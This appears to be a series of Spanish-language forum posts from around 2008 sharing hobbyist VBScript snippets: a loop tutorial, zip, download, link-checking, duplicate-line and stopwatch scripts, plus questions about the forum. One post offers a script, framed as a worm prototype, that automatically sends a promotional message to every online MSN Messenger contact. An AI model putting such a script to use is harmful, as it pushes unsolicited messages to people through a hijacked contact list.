Como se ve, el mensaje muestra el nombre "Pablo" porque al llamar al array, hemos puesto el índice 1, y como se ve cuando lo declaramos, le habíamos asignado valor "Pablo", en el caso de indicar 2 en lugar del 1, el mensaje mostraría "Carlos".
Espero esto haya quedado lo suficientemente claro.
Ahora, volviendo al For each (espero ya no te hayas olvidado), este podría ser utilizado en el caso del array (hay otros casos).

CitarDim nombres
Dim n
nombres = array("Martín","Pablo","Carlos")
For each n in nombres
   Msgbox n
next

A pesar de que no lo parezca, es muy similar al anterior, y algunos estarán diciendo, "que tenía que ver el array con esto", pero si se fijan, solamente he mostrado, una segunda manera de declarar el array.
En este caso, en lugar de ir metiendo cada uno de los valores con sus respectivos índices, declaro el array en una sola línea y va quedando organizado según el orden en el que meta los valores, por eso, "Martín" quedará en el lugar 0, "Pablo" en el lugar 1, y "Carlos", en el lugar 2, al igual que en el caso anterior. Esto con respecto al array, ahora a lo que íbamos, el for each.
En líneas siguientes comenzamos con el for, y decimos, por cada "n" (la letra, en este caso "n" la elegimos nosotros) en "nombres" (es un array que contiene tres

nombres), mensaje con el "n", o lo que es igual, por cada nombre, en el "contenedor" "nombres", mensaje con el nombre, y el resultado es el siguiente...



Tanto en for simple, como en el for each, podemos hacer uso de exit for, para parar la ejecución del for completa. Para decirlo de otra manera, con esto escapamos al for.
WHILE (bucle)
El bucle while, es utilizado cuando queremos que una determinada acción se repita mientras una determinada condición de cumpla.

CitarDim numero
Numero = 1
While numero <= 10
   Msgbox numero
   numero = numero + 1
Wend

Comenzamos el  ejemplo declarando la variable numero, y le asignamos valor 10, luego ejecutamos  bucle, mientras el valor de "numero" sea menor o igual a 10,
mostramos mensaje con el valor de numero, y además le sumamos 1 al propio valor de numero (de este modo lo utilizamos a modo de contador), luego de 10 veces de mostrar mensaje, el valor de "numero" será igual a 11 y al verificarse la condición esta no se cumplirá, por lo que terminará.

5.   DO (bucle)
El bucle do tiene varias opciones, pero básicamente hará algo, "mientras", o "hasta que" ocurra algo.

CitarDo
   Msgbox "Esto es un mensaje"
Loop

Este bucle, se repetirá al infinito, por lo que mostrará un mensaje, interminables veces.
Ahora bien, este do, puede ser modificado, para tener algo más de control sobre él, y es justamente haciendo uso de esas condiciones que comentaba antes, "mientras", o "hasta que"

CitarDim a = 1
Do until a=10
   Msgbox "Esto es un mensaje"
Loop

Este código se resume en; mensaje de "Esto es un mensaje" hasta que "a" sea igual a 10.
En lugar de until podría utilizarse while, para cambiar la condición a mensaje de "Esto es un mensaje" mientras "a" sea distinta de 10.

CitarDim a = 1
Do while a<>10
   Msgbox "Esto es un mensaje"
Loop

Y también puede utilizarse  until y while, antes o después de ejecutarse el bucle

CitarDo until/while condición (es distinta según sea until o while)
   Msgbox "Esto es un mensaje"
Loop until/while

Como se ve, este bucle nos permite darle varios usos según nos convenga, por lo que termina siendo muy versátil y útil.
Al igual que para los for, en el caso de querer salir de un bucle do, también contamos con una función de escape, en este caso, exit do






Así termina está pequeña introducción a las rutinas básicas de visual basic script, la idea es seguir extendiendo este "tuto", como comentario agrego además, que este lenguaje posee muchisimas funciones, las cuales no detallaré, ya que sería interminable, además de que me centraré más adelante, en explicar funciones expecificas de objetos.

En el caso de querer más documentación al respecto, se pueden descargar la documentación sobre windows script host, donde tendrán la referencia a todas las funciones de las que podemos hacer uso. Windows Script 5.6 Documentation
#193
Sugerencias y dudas sobre el Foro / TITULO en los POST
18 Septiembre 2008, 15:01 PM
Buenas....

Bueno.. este post es para sugerir que se sea un poco más ESTRICTOS con los asuntos/títulos de los post, porque si bien está en las normas...

CitarI.A.1.a. Formato.: El título de los mensajes debe ser descriptivo con acuerdo al contenido. No son descriptivos asuntos que sólo piden ayuda o hacen referencia a la temática general del tablón en los que son escritos.

Abundan por ahí los mensajes con títulos como AYUDA POR FAVOR, NECESITO... (con los puntos suspensivos), TENGO UN PROBLEMA, DUDA, etc, etc.

Eso es todo, es una norma ya impuesta, o debería de decir, propuesta, pero que no se tiene muy en cuenta  :-\

Saludos
#194
Buenas....

No es realmente un problema, pero ...  es a proposito que al ingresar al foro (luego de user y pass) te direcciona a http://foro.elhacker.net/.xml.html;sa=news;board=34;limit=10;type=rss con las noticias del foro???

Es que eso me ocurre desde hace algunos días, .. y no solo en esta pc... así que imagino no es algo de mi configuración...  :-\

Saludos
#195
Scripting / Zippear archivos en vbs/batch/js
4 Agosto 2008, 03:30 AM
Buenas a todos...

A quienes les gusta el scripting en batch, seguro se han preguntado alguna vez, como zippear un archivo desde el propio lenguaje, y la solución, ha sido siempre, buscar las carpetas de winzip o winrar en el sistema, para utilizar las aplicaciones de línea de comando que estos programas incluyen, lo que permitía comprimir un archivo, pero siempre dependiendo de un programa ajeno  :-\
El caso es que Win XP trae incorporado por defecto esta posibilidad ("enviar a carpeta comprimida en zip"), pero desde scripting no parecía posible acceder a ella  :(
El caso es que... en vbscript si se puede  :D, y es casi el mismo método que se utiliza en VB, por lo que sería posible zippear un archivo, utilizando scripting, y sin depender de ningún otro soft  ;D
El método lo encontre googleando mucho, y haciendo una que otra prueba, he simplificado el código, y lo he comentado para que sea entendible ,y como verán... es realmente corto.. y he aqui... el code....  :P

Código (vb) [Seleccionar]
set objfso = createobject("scripting.filesystemobject")
'creamos el objeto que se encarga de manejar archivos

set nzip = objfso.opentextfile("c:\nzip.zip",2,true)
'creamos el archivo zip, en este caso nzip.zip en el directorio C:
nzip.write "PK" & chr(5) & chr(6) & string(18,chr(0))
nzip.close
'escribimos el encabezado del archivo, que hace que se reconozcan como zip

set objsap = createobject("shell.application")
'creamos un nuevo objeto

objsap.namespace("c:\nzip.zip").copyhere wscript.scriptfullname
'dentro de nuestro zip, copiamos el archivo, en este caso, el propio script
wscript.sleep 2000
'agregamos una pequeña espera para que de tiempo a copiarse el archivo en el zip

Como se ve, el code es muy simple ,pero totalmente efectivo... en el caso de no poder escribir en C:, cambien c:\nzip.zip por una ruta válida para poder probarlo....

Se que aquí la mayoría opta por batch, así que sería cuestión de crear el vbs por medio de echo, y cambiando wscript.scriptfullname por %0, así se comprimiría el *.bat  ;)

Eso fue todo... espero les sirva, creo que si porque más de una vez he leído a usuarios preguntado como comprimir archivos desde un script, y la respuesta siempre ha sido la misma... "buscar el directorio de winzip/winrar......."

Saludos  ;D
#196
Un nuevo script en vbs

Este, para descargar mp3 desde Goear, al igual que para youtube, basta con modificar un poco la url, para obtener el archivo en cuestión  :P

En realidad estos archivos, luego de ser escuchados quedan guardados en los temporales, pero quizás alguien quiera bajarlos para luego escucharlos  :rolleyes:

El método, también es muy parecido al que he utilizado anteriormente para bajar los videos de youtube, y si bien, por el momento lo único que hace es hacer saltar la ventana de descarga de archivos, podría combinarse por ejemplo con wget para asi bajar los archivos a la pc, he incluso dejar una lista de archivos descargandose..... además comentar, que este mismo método lo he utilizado en otro script, para bajar archivos desde rapidshare (reconociendo el tiempo de espera), así que las posibilidades son muchas  ;D

El code de este.....

Código (vb) [Seleccionar]
'by Novlucker
Song = inputbox("Ingrese la dirección del tema a descargar..."& chr(13) & "Ejemplo: http://www.goear.com/listen.php?v=a2840d6","Goear Downloader")
Equal = instr(Song,"=")
UrLXml = mid(Song,Equal+1,len(Song)-Equal)
'Obtenemos el identificador del tema

change = "http://www.goear.com/files/xmlfiles/"
UrLXml = change & left(UrLXml,1) & "/secm" & UrLXml & ".xml"
'Generamos la url modificada

set objxml = CreateObject("Microsoft.XMLHTTP")
objxml.Open "GET",UrLXml,0
objxml.Send()

xmlcontent = objxml.responsetext
'Obtenemos el texto del xml

fpath = instr(xmlcontent,"http://")
lpath = instr(fpath,xmlcontent,"""")
'Buscamos dentro del xml la posicion de algunos caracteres

mp3path = mid(xmlcontent,fpath,lpath-fpath)
'Extraemos la direccion del tema

set objbrowser = createobject("internetexplorer.application")
objbrowser.navigate mp3path
'Navegamos hasta la direccion

On error resume next

Do While objbrowser.Busy
WScript.Sleep 200
Loop

objbrowser.quit
'Salta la ventana de descarga y terminamos el objeto del iexplorer


La idea de este script vino a raíz de una consulta de Martín Fierro en la que consultaba por este tema, justamente porque también intentaba crear un downloader para estos archivos, pero en vb.net, así que gracias a él además, por la idea, y por proporcionarme la info sobre que cambios había que hacerle a la url

Eso fue todo, un ejemplo más de *.vbs  ;)

Saludos

30/04/09: Edito código fuente para contemplar cambios en URL
#197
Buenas a todos...

En este caso, escribo para pedir su colaboración  :P, si son de descargar archivos frecuentemente de internet, a más de uno le habrá pasado conseguir un archivo o imagen iso de 15, 20 o más link's.
Esto, si bien es molesto, no hay más remedio que soportarlo.... pero cual es el problema? cuando bajamos 20 archivos, y el 21 de 22, esta caído!!!  >:(.
El caso es que he encontrado algunas web's donde se verifica la disponibilidad de estos archivos, pero igualmente hay veces en las que están fuera de servicio y demás, lo que impide verificar nada....

Por lo que .. me he creado un script *.vbs para poder verificar por mi mismo  ::), y no depender de ningún servidor ajeno  ;D, la cuestión, es que necesito de su colaboración para verificar el correcto funcionamiento de este script, por lo que le pido a todos aquellos que puedan probarlo, que lo hagan y me digan que tal les ha ido  :P

Para poder utilizarlo correctamente, deben de tener permisos de escritura en el disco C:, o bien, cambiar las rutas C:\origen.txt y C:\destino.txt que están en las primeras líneas del archivo, por rutas con las que no tengan problemas  :rolleyes:.

Además, el archivo origen.txt, es justamente un archivo de texto plano, contiendo los link's del siguiente modo (no pueden haber líneas en blanco)

http://www.megaupload.com/?d=SUQU3VME
http://www.gigasize.com/get.php?d=ynybwf3gq0b
http://rapidshare.com/files/130649903/Hard_Drive_Inspector_Pro_2.98_Build_475_2b.rar


Permite mezclar distintos servidores como está en el anterior ejemplo

Luego de ejecutarlo, y al cabo de unos segundos, debe de saltar un mensaje, informando de la cantidad de link's activos, y no activos, y también debe de haberse creado el archivo destino.txt, en donde habrá un listado con el resultado de cada link

El código del vbscript es este....

Código (vb) [Seleccionar]
set objfso = createobject("scripting.filesystemobject")

listd = replace(wscript.scriptfullname,wscript.scriptname,"")

if objfso.fileexists(listd & "\links.txt") then

set origen = objfso.opentextfile(listd & "\links.txt",1)
set destino = objfso.createtextfile(listd & "\checked.txt",true)

mensaje = createobject("wscript.shell").popup("Comenzará la verificación de los link's...",2,"vbs Link's Checker",64)

activos = 0
inactivos = 0

do until origen.atendofstream

urlfile = origen.readline
servers = array("rapidshare","filefactory","megaupload","mediafire","gigasize","zshare","badongo","depositfiles","filefront","sendspace")
search = array("dl.start","basiclink","captchafrm","download_link","btnlogin","id=""download""","fileboxdlink","gateway_form","downloadarea","spn_download_link")

urlserver = replace(replace(urlfile,"http://",""),"www.","")
point = instr(urlserver,".")

if point > 0 then
urlserver = replace(urlserver,mid(urlserver,point,len(urlserver)-point+1),"")
end if

i=0

for each s in servers
if s = urlserver then
exit for
else
i = i + 1
end if
next

if i < 10 then

Set objxmlHTTP = CreateObject("Microsoft.XMLHTTP")
objxmlHTTP.open "GET", urlfile, 0
objxmlHTTP.send()

if instr(lcase(objxmlHTTP.responsetext),search(i)) > 0 then
destino.writeline urlfile & " - ACTIVO"
activos = activos + 1
else
destino.writeline urlfile & " - INACTIVO"
inactivos = inactivos + 1
end if

end if

loop

origen.close
destino.close

mensaje = createobject("wscript.shell").popup("Proceso terminado:" & chr(13) & "Activos: " & activos & chr(13) & "InActivos: " & inactivos,10,"vbs Link's Checker",64)

else

mensaje = createobject("wscript.shell").popup("No se ha podido localizar el archivo ""links.txt""" & chr(13) & "Verifique su existencia por favor...",10,"vbs Link's Checker",48)

end if


Bueno, en definitiva, eso....

Decir además, que como se puede llegar a ver en el código, tiene soporte para los servidores de rapidshare.com, rapidshare.de ,filefactory ,megaupload ,mediafire ,gigasize ,zshare ,badongo ,depositfiles ,filefront ,sendspace, pero se le podrían agregar algunos más, y si está todo ok, comento el code  ;)
Desde ya, muchas gracias a aquellos que hagan la prueba con el script... y saludos a todos  ;D

[Modifico:] He solucionado los problemas que me ha comentado carlitos.dll
Nota: El archivo origen.txt se renombró a links.txt y no tiene que estar en C: sino en la misma carpeta que el script
#198
Hola a todos

Bueno, una vez más, cubriendo un rato de ocio, e intentando aportar algo al foro de scripting, dejo este script *.vbs que automatiza la tarea de bajar videos de youtube.

No hace más que los reemplazos correspondientes en la url del video, para que luego nos salte la ya clasica ventana de descarga.
Recordar que luego hay que cambiarles la extensión a flv

Se bien, se que hay complementos para FF, webs dedicadas a descargar los videos, y muchos más programas, con diversas funciones y extras, el objetivo de este post, es simplemente mostrar una vez más, las posibilidades de vbscript  ;)

Espero les guste  ;D

UrlVideo = inputbox("Ingrese la dirección del video por favor..."& chr(13) & "Ejemplo: http://es.youtube.com/watch?v=Lfj5loPrU88","vbs Youtube Downloader")

If UrlVideo = "" Then
Wscript.Quit
End If

If instr(UrlVideo,"youtube") = 0 Then
Msgbox "Verifique que la URL ingresada pertenezca a Youtube"
Wscript.Quit
End If

Set ObjXML = Createobject("Microsoft.XMLHTTP")
ObjXML.Open "GET",UrlVideo,0
ObjXML.Send()

If instr(ObjXML.responsetext,"Añadido:") = 0 and instr(ObjXML.responsetext,"Added:") = 0 Then
Msgbox "Ha sido imposible localizar el video" & Chr(13) & "Verifique la dirección por favor..."
Wscript.Quit
End If

TituloF = instr(1,ObjXML.responsetext,"<title>") + 7
TituloL = instr(1,ObjXML.responsetext,"</title>")
titulovideo = Replace(mid(ObjXML.responsetext,TituloF,TituloL-TituloF),"YouTube - ","")

Set ObjShell = Createobject("Wscript.shell")
mensaje = ObjShell.popup("El video "& """" & titulovideo & """" & " ha sido localizado" & chr(13) & chr(13) & "Preparando para descargar...",4,"Video Localizado")

UrlVideo = Replace(UrlVideo,"?v=","/v/")

Set ObjBrowser = Createobject("internetexplorer.application")
ObjBrowser.visible = false
ObjBrowser.navigate UrlVideo
Do While ObjBrowser.Busy
Wscript.Sleep 100
Loop

UrlFinal = Replace(ObjBrowser.locationurl,"swf/l.swf","get_video")
ObjBrowser.navigate UrlFinal
Do While ObjBrowser.Busy
Wscript.Sleep 200
Loop
ObjBrowser.Quit


Como verán, no lo he comentado, pero creo que las funciones utilizadas son claramente identificables  :rolleyes:

Eso fue todo  ;D

Saludos

P.D: Por si alguien no conoce el método, en este post encontré lo de la sustitución de caracteres en la url para bajar videos de youtube
#199
Buenas a todos... una vez más, estaba algo aburrido, así que he creado el siguiente script... en algún momento se me había ocurrido hacer un gusano que se propagara por msn, pero luego deje eso atrás y ya no me interesó...

Al ver el mensaje de RockoX me recordé esa idea que había tenido y lo que hubise sido su implementación en *.vbs (hay codes parecidos para vb)

Código (vb) [Seleccionar]
set taskmgr = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")
set objshell = createobject("wscript.shell")

for each process in taskmgr
if process.name = "msnmsgr.exe" then
'Revisamos que el proceso del msn este corriendo
Set objMsn = CreateObject("Messenger.UIAutomation")

for each contacto in ObjMsn.mycontacts
'Por cada contacto en nuestra lista...

if contacto.status = 2 and objMsn.mystatus = 2 then
'Si nuestro estado es online, y el de nuestro contacto tambien...

Set iM = objMsn.InstantMessage(contacto.signinname)
objshell.appactivate contacto.friendlyname
objshell.SendKeys "Visita el hacker.net :D{ENTER}"
'Abrimos una ventana de conversacion y enviamos un mensaje

end if
next

end if

next


Si alguien quiere probarlo, recomiendo quitar el {ENTER}, ya que sino enviarán el mensaje a todos sus contactos online   :P

Para que haga algo, deben de tener el msn abierto, y estar como conectados, así como también deben de estarlo sus contactos, y luego si, ejecutar este script

Bueno, eso fue todo, un pequeño aporte que quizás sirva como ejemplo (de seguro es detectado por varios AV)

Saludos   ;D
#200
Buenas.....

Mi consulta....

No habrá manera de que cuando uno copia un código que se encuentra entre etiquetas GeShi, el resultado sea el mismo que cuando está entre etiquetas de código simple?  :-\ Con esto me refiero a lo siguiente...

Un code como este....

Código (vb) [Seleccionar]
msgbox "hola"
msgbox "hola dos"


Con etiquetas de VB por ejemplo, claramente queda mucho más legible y presentable.... pero a la hora de copiarlo, el resultado es este....

Citarmsgbox "hola"msgbox "hola dos"

Como se ve, el código queda copiado todo de corrido, y hay que estarlo arreglando a mano, esto no es inconveniente cuando son codes cortos, pero en los largos  :-(, en realidad con esto nos evitamos un poco de copy-paste, pero creo que hay veces en la que los usuarios prefieren ni siquiera probar un code de un programa, por el hecho de que antes, deberán de darse a la tarea de arreglarlo completamente

Bueno, con mi duda ya planteada....

Saludos
#201
Scripting / Comparar líneas VBS
30 Junio 2008, 17:28 PM
Buenas, una vez más, estaba viendo la solución a uno de los problemas planteados en batch, en este caso es el de Shinseiki86, que quería comparar líneas en un archivo de texto, y que las que estuviesen repetidas, fueran volcadas a un otro archivo de texto a modo de registro....

En batch, esto puede resultar muy complicado, por no decir imposible (por lo que, ni me he complicado :rolleyes:), pero en *.vbs, esto resulta mucho más fácil..... así que he creado el siguiente script....

Este no solo revisa la línea siguiente, como planteaba Shinseiki86, sino que revisa todas y cada una de las líneas, por lo que, para un archivo de 3000 líneas(se planteaba en el caso original), el script realiza unas 4500000 comparaciones, en menos de un minuto (Pentium IV, 1 Gb de ram), una vez terminado, vuelca las líneas repetidas en un archivo (creado en los temporales) y lo ejecuta para su visualización.

Durante el proceso se verán mensajes del progreso (simples popup), los cuales avisaran cada 10%  :P

Esta la posibilidad de hacer un script más vistoso, en el cual, en lugar de los popup se muestre una barra de progreso creada en iexplorer, pero el kaspersky lo detecta como amenaza porque se intenta crear algo con el iexplorer  :¬¬

En definitiva.... este es el script  :P (creado en un rato de distracción en el curro XD)

set objfso = createobject("scripting.filesystemobject")
set objshell = createobject("wscript.shell")
set archivo = objfso.opentextfile("c:\origen.txt",1)

archivo.readall
lineast = archivo.line
archivo.close
upro = 0

for n = 1 to lineast - 1

set archivo = objfso.opentextfile("c:\origen.txt",1)

if n > 1 then
for e = 1 to n - 1
archivo.skipline
next
end if

lineaa = archivo.line
primeral = archivo.readline

for i = 1 to lineast - lineaa
segundal = archivo.readline
if segundal = primeral and instr(1,registro,segundal,1) = 0 then
registro = registro & segundal & ";"
exit for
end if
next

archivo.close
pro = int((100/lineast)*n)

if pro <> upro and int(pro/10) = (pro/10) then
progreso =  objshell.popup(pro & "%",1,"Progreso...")
objshell.AppActivate "Progreso..."
upro = pro
end if

next

set destino = objfso.createtextfile(objfso.getspecialfolder(2) & "\resultado.txt",true)
renglones = split(registro,";")

for each r in renglones
destino.writeline r
next

msgbox "Proceso terminado..."
objshell.run objfso.getspecialfolder(2) & "\resultado.txt"


El archivo de origen (el que tiene las líneas a compar) debe de estar en c:\origen.txt), como ejemplo, un archivo con el siguiente texto...

2008-06-19_590059_NI_890807898_EPS018_86_I.TXT
2008-06-19_621451_NI_890706425_EPS018_86_I.TXT
2008-06-19_621451_NI_890706425_EPS018_86_I.TXT
2008-06-19_621452_NI_890706425_EPS018_86_I.TXT
2008-06-19_621517_NI_810001583_EPS018_86_I.TXT
2008-06-20_102019121_CC_94487480_EPS018_51_I.TXT
2008-06-20_102019121_CC_94487480_EPS018_51_I.TXT
2008-06-20_102088573_CC_5931385_EPS018_01_I.TXT
2008-06-20_102718305_CC_33966379_EPS018_01_I.TXT
2008-06-20_102718305_CC_33966379_EPS018_01_I.TXT
2008-06-20_103000920_CC_31992855_EPS018_01_I.TXT
2008-06-20_103000920_CC_31992855_EPS018_01_I.TXT
2008-06-20_103161002_CC_16638978_EPS018_01_I.TXT

Arrojaría como resultados, un archivo con esto....

2008-06-19_621451_NI_890706425_EPS018_86_I.TXT
2008-06-20_102019121_CC_94487480_EPS018_51_I.TXT
2008-06-20_102718305_CC_33966379_EPS018_01_I.TXT
2008-06-20_103000920_CC_31992855_EPS018_01_I.TXT
(son los que se ven marcados en rojo arriba, y que en definitva están repetidos)

Bueno, eso es todo, en definitiva, un code más para que pueda servir como ejemplo, y quizás le sirva a Shinseiki86 ;D

Mensaje original donde se plantea la consulta

Saludos

P.D1: el code queda más legible si lo pongo entre etiquetas GeSHi, pero a la hora de copiar el code en el notepad se desordena todo  :¬¬

P.D2:También pongo este code por separado del original porque la consulta era en batch, y para no mezclar el post de Programación BATCH Avanzada. (nuevo) con *.vbs  :P
#202
Scripting / Cronometro en VBS :p
27 Junio 2008, 22:42 PM
Buenas...

Simplemente la idea se me ha ocurrido al ver el mensaje de Dirpok, en el que se intenta crear un cronometro en batch....pero como a mi me gusta más vbscript, porque me parece que da más posibilidades, he creado el mio en este lenguaje  ;D

El cronometro pide un nombre de usuario, sin el que no se pude comenzar, luego de eso queda a la espera de que se presione aceptar en un mensaje, una vez que se acepta, comienza el conteo  :P, al terminar avisa de cuanto tiempo se ha demorado (igualmente lo va haciendo a medida que van pasando los segundos)
Al dar aceptar nuevamente termina de contar, y guarde registro de la fecha y hora actual, así como el usuario, y su tiempo en un registro (C:\ranking.txt), y abre el archivo que contiene el ranking para que pueda verse  :P

A ver que les parece....

Código (vb) [Seleccionar]
set objshell = createobject("wscript.shell")
set objfso = createobject("scripting.filesystemobject")
set ranking = objfso.opentextfile("C:\ranking.txt",8,true)
do
usuario = inputbox("Ingresa tu nombre por favor...")
if usuario <> "" then
exit do
else
msgbox "Debes de ingresar un nombre de usuario para continuar..."
end if
loop
msgbox "Presiona aceptar para comenzar el conteo..."
empieza = time()
mensaje = -1
do while mensaje = -1
tiempo = datediff("s",empieza,time())
mensaje =  objshell.popup(tiempo,1,"Cronometro")
loop

ranking.writeline now() & chr(9) & usuario & chr(9) & "...." & tiempo & "seg."
ranking.close

msgbox "El tiempo insumido a sido de " & tiempo & " segundos"
objshell.run "C:\ranking.txt"


Creo que me ha quedado bastante bien  :rolleyes:

Mensaje original de donde saqué la idea

Cronometro en BATCH

Saludos
#203
Se ha hecho alguna modificación en el foro con respecto al anonimato por decirlo así.....

Es que antes cuando alguien ingresaba a un subforo, o a un post, se veía en el encabezado, nombres de usuarios, y una frase de cuantos visitantes estaban viendo eso, pero ahora ya no esta... me refiero a esto

Antes:
YaTamas, novlucker y 6 Visitantes están viendo este foro. (o algo así)

Ahora
2 Usuarios y 6 Visitantes están viendo este foro.

Es que resultaba útil en muchas ocasiones  :-\

Saludos